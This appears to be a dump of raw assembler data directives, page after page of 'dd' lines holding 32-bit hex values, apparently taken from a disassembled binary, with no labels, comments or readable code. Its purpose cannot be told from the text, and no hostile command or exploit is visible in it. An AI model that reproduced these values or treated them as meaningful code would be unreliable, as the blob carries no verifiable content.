		dd 0F5F3BB6h, 0BE663100h, 585AD837h, 5EBF0050h,	904AE4D6h
		dd 502CF81h, 0E9450EC9h, 435EA49h, 0F4A1B088h, 0E612F129h
		dd 0DEE71070h, 306E296h, 0F2FD2E4Fh, 7450F060h,	5D9D00B9h
		dd 0CAD7F3A1h, 0E154B589h, 0E42E5E96h, 4674C771h, 1DDE3C1Dh
		dd 0B681650Bh, 34B2C1CEh, 8D70622Bh, 684FD5E3h,	1C230F3Eh
		dd 4C49BE00h, 9EE2180h,	57A94A45h, 5FF2F800h, 209035BFh
		dd 17216B5Ah, 0C4698501h, 6ECB8B3Fh, 0E649004Ah, 26C4F38h
		dd 0BF660B96h, 6579649Ch, 3AA78800h, 2658E6E9h,	48D866DAh
		dd 10252FAFh, 0FC15A05Fh, 0ED2DD59Eh, 644FC01Ch, 711E3E91h
		dd 0F747E4A3h, 0B7216DBEh, 73382B6Eh, 8C18E8h, 5484D38h
		dd 9195015Ch, 5058AA9Ah, 0D1165A74h, 86709837h,	3235BF2h
		dd 8D1635E0h, 0B99083FEh, 0BF046037h, 42F7D0C0h, 5292C1FDh
		dd 7D0FDDCAh, 0C8FCA94Ah, 35F70470h, 82FE8B93h,	0C92E0A32h
		dd 841AD18Dh, 0CEB0E481h, 0C018C8EAh, 0F53EAD5Bh, 0DF7A3FE5h
		dd 0A5AAD124h, 1C007EE4h, 10F24D6Ah, 77A6AC3Ah,	17DE011Eh
		dd 2316B3D9h, 0ED89356Dh, 0DA5E0222h, 794A45AEh, 1F3FB887h
		dd 0C1F466EBh, 0E87C77DFh, 415B702Eh, 642CCA93h, 4362DFBEh
		dd 2B295C33h, 71A821A2h, 7C5F181Ah, 7C6E095Ah, 8629EF28h
		dd 1DC1D24Dh, 7DCE2306h, 0C1DE1740h, 2477D812h,	0D642AC5Eh
		dd 0E35D378Fh, 322EED48h, 3E031723h, 0F89BFACBh, 172DBCEEh
		dd 6F5841ADh, 0C03E0Fh,	1DC482E6h, 0E2B58B2Ah, 6474B622h
		dd 562A345Ch, 0FB051623h, 0B5BCC4BDh, 0A307B917h, 3014E28Ah
		dd 0BD3D3387h, 1D99DA29h, 2396A3Eh, 0A97B741Ah,	454DDAACh
		dd 0E5203FE9h, 59FB0Eh,	0FD812B6Dh, 4D5419BBh, 0C27157B6h
		dd 836D35A7h, 9110BC0h,	0FF1E294h, 4F8326Bh, 16ED9D02h
		dd 0B90B720Ah, 98826E13h, 2E3120B2h, 0BC585B49h, 1C1A064Ch
		dd 68534EF9h, 2B810D70h, 16A4BFF8h, 0D872934Ah,	0EFD74B9Dh
		dd 0A4E048B6h, 829D8795h, 5C2DE98Dh, 15EEF6B5h,	0A433823Ah
		dd 602AE66h, 41C08B1Bh,	562A0164h, 6BB284A8h, 55F4C31h
		dd 29B5193Ah, 4A13C909h, 9FD25679h, 5DD6CB7Fh, 549E9A37h
		dd 56091301h, 0EF8C190h
		dd 30917BBEh, 0E7D405C9h, 528103A9h, 0DFF71082h, 36595FB2h
		dd 0D5B52382h, 0D931D41Ah, 0B1BF103Fh, 4ED62DC5h, 0EFDEBFBAh
		dd 49B538D4h, 7F1055A5h, 0F900EEADh, 0A1CC26D8h, 0FCAB984Ch
		dd 0AC70BDDh, 0BB324F3Bh, 0D87007FBh, 37741CB6h, 0E8B56D53h
		dd 28821791h, 0FCD04A3Eh, 3C18E404h, 57C2907Dh,	0DCD076F7h
		dd 534A500h, 8D01E080h,	2B194041h, 0F91BD10h, 0AA7D893Eh
		dd 704AFB82h, 7B5BA4C0h, 9AAB8A20h, 493D0050h, 8E319BC1h
		dd 0B2002472h, 812ABD19h, 13AB18C6h, 9F90EDBh, 0A1AB011Ah
		dd 870FB5Bh, 0D3D002Ch,	2AA296E2h, 379DACBCh, 97160B2Dh
		dd 0D15E1050h, 27100808h, 0E600F5E4h, 144765AEh, 48395C8h
		dd 42FA809Fh, 2D738289h, 0FA9B6105h, 0C98731C0h, 210BF2A4h
		dd 44810FA8h, 2D040215h, 7CE933FFh, 8B27D9D8h, 0C203EDC1h
		dd 0C5599058h, 490BA02Ch, 0F9EBC823h, 0D5D18212h, 0C5B52B84h
		dd 5BF88FF0h, 0E97D32F9h, 733B8AC4h, 7BD80017h,	24AC600Dh
		dd 0A6E044h, 10A70EEAh,	1CAABD99h, 22515058h, 2FA9B603h
		dd 3F9DEA62h, 9C801B11h, 0FC907BDDh, 0BD48D518h, 30BE6646h
		dd 810CD120h, 4A18ADCFh, 0C5BA7645h, 63B0115h, 0CDBD0B51h
		dd 5FC88031h, 0E24FCE81h, 3505B08h, 0D58D0904h,	0F3F0A4F4h
		dd 9DC9A9DCh, 62E7AD3Dh, 0FFB85369h, 84F29904h,	3BABD2D9h
		dd 1923E1h, 58742186h, 98D08DA8h, 0E5764FD4h, 84F54A18h
		dd 1CC5F3C5h, 61805760h, 0E490BA59h, 0F76677ABh, 4D34638h
		dd 0B2F19FCh, 16676429h, 9BD3FF61h, 9B488056h, 569D12Eh
		dd 253EDDB1h, 0F0C0838Eh, 17B96213h, 0F6D7C8F2h, 0F06CA0E8h
		dd 66FB1FBDh, 95DCC4C4h, 3B44E28Fh, 987A8F87h, 27B8A059h
		dd 73CFBF7Dh, 5C70043Bh, 0A85E0CEDh, 99AF8029h,	0B7A842h
		dd 0E34551F4h, 6A1698F1h, 78CE916h, 0CF104ECBh,	0B5291C15h
		dd 886C0856h, 0E1147A86h, 0C36F6Ah, 5443F459h, 2D9D8B3Fh
		dd 0F43A2F29h, 0D925E287h, 71918EF9h, 4A9825Bh,	32BD8300h
		dd 44F7B414h, 0D5045236h, 0E9041EADh, 0EC97FD8Dh, 22CE603h
		dd 60D076A5h, 0BC3F78Bh, 2D085AC0h, 6968615Ch, 44F6EC86h
		dd 9B60E00Eh, 316192DEh, 0A5DC0094h, 0DE245E66h, 27C240E9h
		dd 0F6B5BD01h, 38282118h, 8E7B4Ah, 68E4E60Dh, 145A627Eh
		dd 0A0E93469h, 5E20A910h, 0C5FE1881h, 0C509B521h, 2CB8DB7Dh
		dd 64CB7001h, 8199BC4Dh, 84D6506Ch, 0F39F8227h,	261105D9h
		dd 61B5127Bh, 9D19C18h,	0F41E5ECh, 0B2F9D2Ch, 0BCBF4EA0h
		dd 1077B5BAh, 25E41998h, 701DE980h, 0B437B704h,	92AC81B9h
		dd 0AD8D31BEh, 0B08F0E7Bh, 0E4E8B613h, 93C7B141h, 206C5773h
		dd 173C6480h, 0A13E0577h, 5535000Bh, 241D61C6h,	5EDC0597h
		dd 0E970E65Fh, 145B824h, 2F89F8ADh, 604EED63h, 1940251Dh
		dd 80239CE8h, 8C8310Dh,	0E30E3F9Fh, 16ADB533h, 906017C8h
		dd 32DD2015h, 580750EEh, 6125DE80h, 74F5421Bh, 7312DCD9h
		dd 0B4AC3196h, 27ACACDEh, 70FB1D09h, 256CC70h, 0FCE46AFDh
		dd 0C5D0DE29h, 24DCEE9Ch, 2D50A5E4h, 2E917118h,	8A2BF980h
		dd 858B521Fh, 0A74559F8h, 0B120046Eh, 15504809h, 94FEE4C0h
		dd 0DE0399A3h, 6221AC0Bh, 3FA9A053h, 0E25C2D0Dh, 86B7E30Bh
		dd 0C6FCCB04h, 0FB24CC97h, 0B95131B3h, 0A5F9CB44h, 0A3C613D2h
		dd 92DE048Eh, 92B9B0CDh, 0CC096EBCh, 80D8E669h,	81AE49D3h
		dd 0A2B09EFh, 830C684Bh, 1D4FA58Ah, 18C86ECFh, 159938C0h
		dd 0BF01D09h, 0AC1C52B5h, 0F902C9B8h, 0A74EA970h, 3DFAF090h
		dd 0AE6FB00h, 0F0048D14h, 1F1E025h, 2CB9053Fh, 0F60F135Ch
		dd 0E5001D8Bh, 36117204h, 513B5F5Eh, 97001623h,	0BB60EF48h
		dd 0B72F3DD1h, 0B1B24Ah, 38DF3CECh, 0E2FD9Eh, 0F6031D66h
		dd 0AF9FB8E4h, 0D9559607h, 59802E61h, 780E07B4h, 0A0B4925Fh
		dd 95250939h, 729137ECh, 0C2181B71h, 0F4B65801h, 0C7BC7346h
		dd 0B27DC730h, 6796AFDEh, 46A5F041h, 9006C682h,	0C5BD2B91h
		dd 9B585AAFh, 3A5C80E7h, 994CD0h, 0BC4AF6F1h, 0C1BD33CCh
		dd 0DA321A5Ah, 69CDDCFCh, 2D289F0Eh, 0BF07B90Bh, 0BE990025h
		dd 0E0C22B18h, 0F26C1B4h, 0C4FC4702h, 54A7D26Fh, 0B4F940BCh
		dd 9185949Ah, 1113FA99h, 8ED88B04h, 3CB5005Ch, 5F391976h
		dd 0CC038041h, 0A4F1B7FBh, 44ABCF1Ah, 2E7F45B8h, 0ADF76435h
		dd 17ACEB49h, 23E66502h, 693079BDh, 0CE2A5E64h,	0C11588AFh
		dd 0D22BF833h, 1D8DB8E0h, 3E6204Bh, 412D0E01h, 6961E646h
		dd 0A41088B0h, 8A91251Bh, 6593612h, 0C08BD7A4h,	42EE170Eh
		dd 0D142054Eh, 587AA313h, 0BD914AC4h, 52216F9Dh, 0A24D289Eh
		dd 1629C03Ch, 1F9B115Dh, 0F67D5235h, 8F90E051h,	82C213EDh
		dd 0F9D3046Ah, 1A88C289h, 0FC5A037Eh, 0F301D495h, 9005BE79h
		dd 1667F8Ah, 0ACC0BF02h, 16D36466h, 9535ADh, 5EB6E2EDh
		dd 3D98B7B4h, 0BE8813E4h, 0C74B5F28h, 1229C4A0h, 74B42212h
		dd 488490F8h, 15E84BFAh, 6362328Ch, 1A6DFB40h, 0DF504CE0h
		dd 0A67C00ECh, 0BD3E25AEh, 0F34EB70Fh, 0E21EC5C8h, 434D1D75h
		dd 0D53400BFh, 0D4FABA70h, 607DE662h, 9F767EE8h, 6E7740AFh
		dd 16F6950Dh, 5B515800h, 346D03BAh, 0C25EC219h,	997B5E61h
		dd 28C4D471h, 3F731417h, 9E4CA597h, 4185899Dh, 0CC73A2ABh
		dd 2DACE78h, 75AF147Ch,	4641DEA4h, 3E65395h, 4B7E1DB2h
		dd 0E1B12ABEh, 3CB795h,	16407C46h, 2B0051E2h, 0E9746F35h
		dd 0E3FFF8A1h, 0F56E6Bh, 3F36D2EFh, 45216F0h, 0B531A189h
		dd 6921EA01h, 0F4C660F7h, 8D336172h, 4BEB7C21h,	70FEB120h
		dd 8CC3002Dh, 4471D985h, 9109977Fh, 63B9612Fh, 7D2E957Bh
		dd 72001923h, 6622233Dh, 8D2138DDh, 67501CA8h, 7CB512D0h
		dd 0D98A1091h, 7CC98014h, 0EF44E1EDh, 0D6B7FA05h, 24418BD5h
		dd 293DB509h, 0D0B75581h, 3101E183h, 0EC450556h, 0B031255Ah
		dd 4ABF1Ah, 0C04FBCBBh,	0D9950135h, 0D05A3040h,	0FA4D4C62h
		dd 0DE03EDBCh, 76958D37h, 0C8808940h, 0DACA0A3Bh, 35329A51h
		dd 0BDC7BFEh, 0B1E03F26h, 0BA003E59h, 0FDB7A77Bh, 0BEC704C1h
		dd 91419523h, 2A606163h, 0EA27B76Eh, 1DEE0190h,	247F1B00h
		dd 0AA0F6E69h, 2F470936h, 161AA511h, 0DC9B5Ch, 0F7F14839h
		dd 7B87037Ch, 1DBF3213h, 15045C85h, 7AEF28A1h, 6D18007Fh
		dd 192BBBB4h, 52566B70h, 37958B5Ah, 0F2A70469h,	121684B2h
		dd 0B872FD4Dh, 9A0991DEh, 0D25B1822h, 0DBF04779h, 37491AF2h
		dd 71099A20h, 3B70B973h, 6EEC02D1h, 959D29F4h, 0AEA26BDAh
		dd 5D25884Ah, 117A715h,	0FBB30C7Bh, 0E0D35A4Ch,	427622Dh
		dd 0B6D12F87h, 0DB498488h, 8651C765h, 0D089E390h, 0F65213A5h
		dd 2234E075h, 8B459882h, 12F54A9Dh, 9BDE606h, 93410BAh
		dd 0C016EA03h, 6BECC0A1h, 0EBEA1644h, 49700CD3h, 0E5D20ACCh
		dd 0A0318B64h, 8213EE9Dh, 1684CD40h, 40CD768Ah,	99D95D05h
		dd 5FE74403h, 90A6AFEFh, 3D558D77h, 0EB68E6CEh,	0C16194C0h
		dd 2FBB0CC8h, 4123128Eh, 8A0625F9h, 0AD98D6D7h,	1F7A9Bh
		dd 3A779671h, 0EF2378D9h, 1C2C6354h, 23F14A93h,	3DE8F445h
		dd 0CE091C14h, 0DFBC97D5h, 0F08A500Ah, 6A2ED35Bh, 22EF5694h
		dd 58F93101h, 2A31E11Eh, 0EE0A9FD8h, 0B9F10012h, 0BBCCC0F0h
		dd 9413B12Eh, 55C8605Ch, 0BCA6002Ah, 1F546308h,	100845Ah
		dd 269DD856h, 2C80197Fh, 2269958Bh, 0A85B78C2h,	0A62EB246h
		dd 0BE05449Fh, 669B7E0Dh
		dd 4D042C0Ah, 0C6C0959Bh, 0B6A56C88h, 4926FF0Bh, 0C07E0544h
		dd 1ABFB402h, 0A88A7DC8h, 7B295912h, 0A006B7Bh,	0F8DFFC92h
		dd 0F524E22Bh, 0C16AF09h, 0DEF93064h, 43003AA8h, 49B908C2h
		dd 4BC7F865h, 0AD3E7585h, 7B8CFh, 0D89853EEh, 6FC2E8FFh
		dd 61CE8B17h, 0FFE00FA6h, 611707EBh, 668FE99Dh,	0B0C01AC8h
		dd 98B99F32h, 8B901643h, 16A6FF2h, 8B3F942Ah, 1683BAC1h
		dd 0EA81F00Eh, 83022576h, 958914C2h, 0CFDE6B31h, 858D20FFh
		dd 0F23B22F1h, 0FF641450h, 5A776935h, 0E6FD8589h, 2B580CADh
		dd 0BCF01AC2h, 38810284h, 2C415A4Dh, 44001512h,	0D0033C50h
		dd 643A7681h, 0F9841945h, 202D3881h, 0D9E92610h, 885A4AD4h
		dd 3061969h, 0EF4F3C40h, 1281C288h, 627D8B1Eh, 32EBD12h
		dd 5B62F805h, 5C030C1Ch, 1E850D23h, 8808ED4Dh, 509E112h
		dd 2058F64h, 4C4836Dh, 5194105Fh, 0ABF908Bh, 0B0A98110h
		dd 59B53014h, 0C302C033h, 0B95BD83h, 44D8FA37h,	8510C624h
		dd 470022B9h, 9AA7D268h, 0B512FFD4h, 6DF92339h,	3A720A0Eh
		dd 1AD012DFh, 8BF60800h, 0D3E1E92Dh, 0DD9B202Ah, 0FDA04E14h
		dd 3004496Ah, 4F4A3BE7h, 1F8054ECh, 0A60A48CCh,	0B2C51C01h
		dd 5B7043F0h, 6ED4207Ah, 1E005394h, 23B21610h, 0FC68B29h
		dd 4CFD58CFh, 0DC5489C9h, 0E5033A40h, 0F1EA074Bh, 105FE28Ah
		dd 5D7CC381h, 85B920C1h, 168636F5h, 0CDE60E9h, 8E22C490h
		dd 4E664803h, 33E67Bh, 4F37BB60h, 7CBA5408h, 74AFFE00h
		dd 0BFC68161h, 5130ED76h, 340D458Dh, 0B3ADE1Ah,	70C703B1h
		dd 33E9891h, 4E58EE32h,	623062F2h, 4C0D44C3h, 0A50758A3h
		dd 0A76E31C0h, 0A40FD530h, 0C07E2E3Eh, 9B81A15Bh, 80C009F1h
		dd 0B20476CCh, 0C0DAC733h, 0FBBCB4EBh, 0F8C60B76h, 0A318C7B7h
		dd 0F1917D9h, 6775278Fh, 0C548B89h, 904EA4E0h, 0E43B00A9h
		dd 62982D6Fh, 0C09AE983h, 9FFF7724h, 0BFF2E043h, 29959090h
		dd 0C408093Eh, 12609160h, 8C071D70h, 58EA3350h,	2BBD0260h
		dd 8BD101F0h, 5B9FBEFAh, 470BCCCBh, 0D2804400h,	0A3511B16h
		dd 1EE600E7h, 0F1B8B671h, 2700BF43h, 0F373A48Ch, 2A5740h
		dd 4689A969h, 96D6CD6Ah, 3ACF9400h, 849E4420h, 57C5003Dh
		dd 5524F437h, 727EDC6Dh, 8056923Bh, 0F6DFFA8Fh,	0B5834Ah
		dd 0C510F8C4h, 0F41912CAh, 9A002EF8h, 35FB9699h, 3AFD98h
		dd 0D50ABCC6h, 0E78EDF55h, 80B5E13Ah, 9936FE12h, 1EAB2C9h
		dd 0D4432F8Bh, 0FC2A13E3h, 0B5009CE4h, 716A057Ch, 38874F4Ch
		dd 55801DD9h, 0AF641A69h, 0A600D50Eh, 1F8C867Fh, 0F2733A4Fh
		dd 2AF20309h, 34917DBEh, 2B06C8Bh, 0A9073E06h, 0AF0CE5DFh
		dd 7864BFA0h, 65610137h, 0F5D4C1B5h, 21BC408Ch,	850086D6h
		dd 147EB95h, 7EC719F2h,	77A301D2h, 0A0EDD5A2h, 924070A8h
		dd 50AA9430h, 0EEFB70h,	1D06A49Eh, 6D7D2B45h, 32DEB600h
		dd 2F372947h, 3010E2B4h, 59689B05h, 480399E9h, 0FD21EBE5h
		dd 1C94D0F4h, 517C0082h, 509AB784h, 4E006BD9h, 1D5B8322h
		dd 528FC8h, 4D4854Ch, 0CD8232EAh, 25F4E307h, 0B85AA68Ah
		dd 532F5500h, 13488EADh, 0B8AA7Ah, 2C86C32Eh, 0CE00632Bh
		dd 701FCAB3h, 5B1AC2h, 117EF73Ch, 18C3ACF2h, 0EE0E2C00h
		dd 51CA0F2Dh, 0F9E801D1h, 896D7CEFh, 0DB80DBB2h, 630010DAh
		dd 35E3AAA8h, 653883h, 1EEE8D54h, 0D3A34108h, 56F4BC03h
		dd 0D0AF7689h, 0C54E3Ah, 95F2DE54h, 6621CF92h, 0B1CE6900h
		dd 7C377F67h, 0F139002Fh, 0A5E5E60Eh, 0BA1DC964h, 8065B51Eh
		dd 0DECD9CDDh, 0DA238BEh, 3C8BBCD0h, 0C78F0BE4h, 0B2029880h
		dd 0B48295C4h, 0A02EFD70h, 8D21E5E9h, 9A1009Fh,	922CA4EAh
		dd 6578C48Ch, 0BDC11D00h, 8D914CFAh, 8EDE00CAh,	88DBC054h
		dd 65014D95h, 323E254Ah, 30307507h, 306E2CFh, 266E5771h
		dd 0D9881B43h, 93003FACh, 0B9AFFD86h, 0F528A72h, 0A9EBD776h
		dd 3402BB49h, 84209A37h, 3DA296E9h, 7403E704h, 0E5529D54h
		dd 6732C3A0h, 0D10027E6h, 85C592F4h, 0C6BF83h, 43D89FA0h
		dd 86B04F4Eh, 0DF403400h, 4BE8E95Fh, 9FEE62Dh, 0A75720B6h
		dd 24B04000h, 0D2017786h, 0C5C28266h, 808059DBh, 569CB6E2h
		dd 570070DFh, 0CD5B9810h, 0D4A1AEh, 0B70C6FDEh,	4D02A2BDh
		dd 0B5948400h, 0EDD70F31h, 79CE078Ch, 501D3510h, 0BDC9A27Bh
		dd 63F8C107h, 0D8506049h, 7AB4068Ah, 9F3A0073h,	40EEBD91h
		dd 63004C72h, 4914601Bh, 2C6477h, 0FE455F9Bh, 0BE223C85h
		dd 68B728C0h, 388DAA9Ah, 800C97Ah, 9C8F3B0Fh, 0B917584Fh
		dd 9C0059ACh, 723A36F2h, 0EF76DDh, 7CF53857h, 0A251C2FFh
		dd 0D8E8F11Fh, 1B049671h, 415CF4h, 72A00570h, 0AF918A31h
		dd 0B0CD5D00h, 0E1FED2F2h, 851F0797h, 60F7F19Ch, 0D5B2809Fh
		dd 0E373BB04h, 92C055C1h, 0A9B64396h, 0B0C4F4A4h, 26DC0083h
		dd 3C093470h, 89485F81h, 862F005Ch, 9DC44135h, 9EB80025h
		dd 708AC656h, 4373B129h, 4869E200h, 76466684h, 3740Ah
		dd 0A1D3A40Bh, 748FAB12h, 0A2CE880Eh, 0AEB00CCh, 0EAC1ACBAh
		dd 6D8A0016h, 42B51B6Eh, 0ADE86151h, 98DABC30h,	0E838027Ah
		dd 0F2A27B6Dh, 0EABB00AFh, 19E7D7F6h, 4970DC07h, 0FE583000h
		dd 28F7BC3Ah, 20FF0316h, 594AB652h, 9CDC1800h, 1DDD699h
		dd 3FCA3D2Bh, 90E6F967h, 9F6B892Dh, 0E70353Ch, 0FC665AC1h
		dd 3F1F3400h, 0F106D3h,	0BDA67929h, 736EB5A4h, 45090C00h
		dd 32B38FB6h, 0EF660315h, 0FFCD1C40h, 8C571EC0h, 513ED300h
		dd 39F68B55h, 2A79C9h, 0F822C0BFh, 9453B3ABh, 793760C3h
		dd 0A400067h, 455C27E4h, 6B0C3E0Dh, 70B66082h, 0F45A5CC9h
		dd 368940h, 0E9B0ADA7h,	33CEB7E3h, 441F6300h, 79F2183Bh
		dd 0AAE60Ch, 4A68F632h,	8516A2Ah, 2E502C00h, 9DB08272h
		dd 0E4FA00B5h, 0F79E6CBBh, 0CF03D2F1h, 0A177C34h, 7069F83Bh
		dd 7F400028h, 77EB6DC5h, 2200B0A1h, 6C550DEAh, 0ACBC58h
		dd 0BD5C3373h, 53AF819Dh, 0CBE24890h, 74D7D212h, 0DDFA2020h
		dd 1B7893h, 0E1845088h,	0B6C1EA7Ch, 5C00C27Eh, 2E9B7B90h
		dd 52D7A62h, 0CF07EF37h, 22820056h, 0B3AAB771h,	97E66FE2h
		dd 49E33Dh, 0AED87746h,	96A61h,	0F43C3480h, 0A9F1E839h
		dd 73E205Ch, 84529AB4h,	7E5C3640h, 0D0982CADh, 14DD09C4h
		dd 92C03480h, 6D008FA7h, 931C9773h, 24074F46h, 8340984Ah
		dd 577402F1h, 962ECDA0h, 1AD1B07h, 1DD0E917h, 9E9C89h
		dd 545542D7h, 0E09F78Ch, 0C1AF4400h, 7966FBBEh,	1DB20076h
		dd 0D3682E30h, 0E09AE7E5h, 413ED6E2h, 71E3824Fh, 6B5EA00Dh
		dd 907989A8h, 712818Bh,	814F686h, 0C214E374h, 141053DBh
		dd 11CCA0Ch, 36AFC8E0h,	42D0A0E3h, 0F8017D33h, 10B860E2h
		dd 0E0C6B08Dh, 5D20E460h, 3EDF901Eh, 0C148665h,	0A90D249Fh
		dd 0E4619444h, 1509AFC2h, 826461h, 0B08ED939h, 405B69E8h
		dd 0C0604CAEh, 500DB3FEh, 0CCDF4Dh, 87E182C3h, 397E1BDAh
		dd 618F8668h, 0C7809D44h, 8B1EDD91h, 90516C01h,	8DC2A5A6h
		dd 4BF0B5E1h, 0AD98037Dh, 0C6B62B0Bh, 0EACBAEB0h, 0DE007EEAh
		dd 0E6E7972Eh, 7CD9A4h,	0B9814AEFh, 0A6E9F398h,	0E13DD602h
		dd 6311FB0Fh, 6052E0B6h, 0BB9C0040h, 0C3D3F39Ah, 0D000442Fh
		dd 0B69418Dh, 767AE01h,	65A87FC2h, 293A50D1h, 331D02FDh
		dd 0C0C0F190h, 0BEB54D0Dh, 454C0317h, 0DE73DF5Ah, 0B4FAE900h
		dd 0B663E74Fh, 5B8F19B0h
		dd 80F0089Eh, 4FAD1D21h, 1917FA64h, 19E10E9Bh, 9945E063h
		dd 15601100h, 0C3715441h, 205D7C91h, 8C70A4B5h,	72E44Ch
		dd 9290FA6Dh, 0F2734E8Bh, 1A650CDEh, 1489C444h,	0A79B6000h
		dd 29E6E0C2h, 938B0098h, 0B5AE8A92h, 3BF20EE4h,	5920AB67h
		dd 0AD2AA301h, 8711204Fh, 57209988h, 0D6176811h, 0EA731048h
		dd 0EEF3D1C0h, 1E8DE6h,	907C030h, 0FCD35FC6h, 9B713B04h
		dd 30925A62h, 0C4A483B8h, 0BB110B60h, 5580095Fh, 623C743Fh
		dd 5A4418C2h, 0B3B4B0DEh, 63E6114Fh, 80EE88AEh,	614FAC1Ch
		dd 150A2866h, 0A887BC11h, 30E34832h, 0EB114FB8h, 0EF88D663h
		dd 4FB12180h, 3342AA43h, 0F6E893A7h, 8FC22BE3h,	0E4AC7848h
		dd 15B39D00h, 0D5DFED8h, 0A308CCD0h, 0DC07CD21h, 0EE74F99Dh
		dd 4511E210h, 0F5E0A0F7h, 54AE7CDAh, 0ABA08Fh, 14E91D37h
		dd 0C907E47h, 0A6081F66h, 2FD00021h, 4D1A9B1Dh,	0F701A395h
		dd 21156F84h, 0E0867D08h, 789322C2h, 0E1788CEEh, 79AC5D54h
		dd 394EEA0Eh, 0DEB007E3h, 0A3AFD093h, 9F210074h, 40AE4EE2h
		dd 79024C1Eh, 0E9DB420Fh, 45925E6h, 228A78A4h, 4FB730E2h
		dd 0CE63EA11h, 209EF188h, 680B4FDDh, 0EC0706A7h, 9E480B19h
		dd 6880853Eh, 9C3D6256h, 6BD06F00h, 60B05278h, 0E4C50219h
		dd 0E6745BFDh, 0FC149849h, 40909F6Fh, 0FB29A880h, 72D31680h
		dd 8400EB42h, 27306015h, 814129BAh, 18917F05h, 80611073h
		dd 0A00C515Bh, 0E1BB56C1h, 0ECA5846Dh, 2160F5C4h, 8D044101h
		dd 0E1D464E2h, 6C54CE85h, 8CF5E83Ch, 5C58941Eh,	0E9937F00h
		dd 995D9B11h, 45BF01CCh, 0F0E3B28Fh, 2891FAB1h,	3980B011h
		dd 5714EB1Dh, 0D2A3448Ch, 8FBA3162h, 16A1846Eh,	82949DC2h
		dd 0A02F4198h, 0D44097A4h, 638CA083h, 986D26DFh, 46842848h
		dd 26E62E2Dh, 31E81509h, 0CF10A784h, 0A6389DDEh, 43939C0Ah
		dd 42508C01h, 208291FBh, 5E1C488Fh, 22A834A4h, 9DEA3031h
		dd 815B908h, 40A964FFh,	0B69DE2D3h, 267FA8h, 771FFDE3h
		dd 981540DCh, 0E1B4F733h, 607964BFh, 9DE3602Ah,	581568B2h
		dd 1A09130h, 619DDBCCh,	0A4509F75h, 0C29CEEh, 0B9EC568h
		dd 0BAFDF5DEh, 4965DC00h, 0B6B52694h, 55309002h, 0FF5A43Ch
		dd 74009DEDh, 0A09AE07Ah, 0C1EF44h, 0C47218Ah, 0C7FBCA08h
		dd 0ACFE700h, 6FF04E37h, 501D01E1h, 0ED16DE5Eh,	0EA489392h
		dd 0A4FFCC08h, 17C63F00h, 8044EE7h, 0CCAFE8h, 0DF9C8870h
		dd 0F9724E00h, 0EF048580h, 58956EC1h, 7CC42062h, 4586CCAFh
		dd 1E44B99Eh, 0E832EF9Ah, 64E85231h, 0E2B8336Bh, 0E11330F4h
		dd 863A0E00h, 7481ED3Bh, 205F6A38h, 0F00DECCh, 4874E3A6h
		dd 227B4745h, 0DA045B9Bh, 0E65D498Ah, 0A004A084h, 0DB2296A3h
		dd 114EE430h, 88D0E333h, 0DC998074h, 93EB1A4Eh,	0D5B64600h
		dd 194188B2h, 0EA3802EFh, 0D4748510h, 170DE048h, 4000D149h
		dd 76401498h, 734212D6h, 234C3E90h, 0E9F01A2h, 8765C40Fh
		dd 0A667C599h, 58568250h, 3A730160h, 0E5DF6422h, 23B022AEh
		dd 9DE90330h, 628415B8h, 0E1D220A8h, 1E00209Dh,	0AB77656Ch
		dd 2011538h, 0B8AD3CE2h, 0FCEA1274h, 0A8444847h, 42401A60h
		dd 849EF800h, 9AD7628Fh, 0D16167C2h, 5D1551D8h,	3177FC79h
		dd 0E512693Eh, 0D002EA41h, 8AF9B911h, 7567A8E8h, 6EA89DB0h
		dd 0BF870032h, 0C76DB444h, 480230D6h, 7FFEEE64h, 75D88027h
		dd 0A39A1h, 215BF18Ch, 0FE9FF52h, 0DAF6640Ah, 384268AFh
		dd 4FBC411Dh, 88A46848h, 1D0530D1h, 78F0806h, 0F78281EFh
		dd 46A02441h, 84299261h, 0C4421D66h, 9DE5302Ch,	0E015B415h
		dd 80A188F8h, 0BD9DDDCEh, 0C3264D25h, 4674945Eh, 68FB00A2h
		dd 6E5140ACh, 0C0310B84h, 9980730Dh, 42B2B6EAh,	8C319260h
		dd 4E8AC58h, 0F666B5Eh,	0EA58A011h, 0E3311E72h,	9674299Ch
		dd 7656318Bh, 18087D80h, 4E007A6Eh, 0DBDCB820h,	6316692Ch
		dd 3BEB298Eh, 0ED73BDC0h, 0EEE5D8A8h, 6FDD7001h, 0A0D2B3FCh
		dd 76761C20h, 9B920721h, 10ECAA48h, 1EE4B433h, 465EC494h
		dd 0D08402F3h, 0E070F822h, 92E5218Ch, 0AA161E1Ch, 99BD2859h
		dd 80A911ACh, 14E41D32h, 0CB00871Fh, 0B8511D2Ah, 0CF1703A2h
		dd 0E722919Ah, 1AA4823h, 14E51D33h, 88A21827h, 1D002BCCh
		dd 4B800560h, 5D5C2119h, 6D10F465h, 0A218008Ch,	9AEA3E2h
		dd 550B24EAh, 47A0C338h, 0DB41341Dh, 476BEC9h, 0A4C2A6ECh
		dd 4FB230DDh, 5C63E53Fh, 0AB1BE0E0h, 0A745004Fh, 681704FCh
		dd 94989B6Fh, 0E0C0DCF8h, 63E9E54Ch, 0E8906F9Ch, 1D348091h
		dd 8C2F14E6h, 0BCDA544h, 0FD871D2Ch, 0BBEF6A02h, 90D5427Fh
		dd 0A90C90h, 556F6E39h,	0EE3D21E7h, 93F1CCA0h, 14F7F200h
		dd 514982F5h, 49E49AE2h, 5EE8881Dh, 4552F02h, 40B7310Fh
		dd 500CF270h, 161889D1h, 22AD4F70h, 0EB30E210h,	0E33A084Eh
		dd 6E64B008h, 4EA0A04Fh, 16F2CECDh, 0A648A577h,	8CA7E82Ch
		dd 0CC571700h, 0E2FEDEEAh, 1B15E019h, 98909B68h, 428FCEC9h
		dd 6032DCF0h, 5863E4ACh, 1AE0BC9Eh, 0C2004FAAh,	43E37B7h
		dd 3AF2052Dh, 15041144h, 806A1C29h, 99EF673Ch, 0A4F9CCB9h
		dd 0AD6DD419h, 17235702h, 0C774647Dh, 63A54440h, 7495B899h
		dd 0EE10B040h, 0CE15034Dh, 8119E4DEh, 4409182h,	0BF4EAB78h
		dd 8921640Fh, 64BC67F8h, 340A60A1h, 67DCA2BEh, 60A2446Ch
		dd 632AD0Eh, 919B8129h,	0D4B1B152h, 0CE1874D1h,	4F00797Fh
		dd 0EDEA565Eh, 0FD9D0F65h, 1481CC44h, 400068F8h, 0B82462DBh
		dd 467C381Eh, 0BCDD0BA1h, 5F0C233Eh, 2FB94B9Ah,	6E2330h
		dd 40958846h, 28917398h, 9A63908h, 5810199Bh, 8512E540h
